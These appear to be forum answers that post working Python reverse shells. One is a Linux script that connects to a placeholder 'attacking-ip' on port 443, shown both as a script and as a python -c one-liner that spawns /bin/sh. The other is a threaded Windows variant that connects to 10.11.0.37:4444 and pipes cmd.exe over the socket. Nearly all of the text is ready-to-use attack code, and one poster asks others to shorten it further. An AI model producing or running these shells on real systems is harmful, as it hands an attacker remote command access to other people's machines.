subprocess module was introduced in Python 2.4.

You can use os.system instead of subprocess.call:

import socket, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacking-ip", 443))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.system("/bin/sh -i")

python -c 'import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system("/bin/sh -i")'

(@rockstar: I think you and I are studying the same thing!)

Not a one liner, but learning from David Cullen's answer, I put together this reverse shell for Windows.

import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.0.37",4444))

p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

If anybody can condense this down to a single line, please feel free to edit my post or adapt this into your own answer...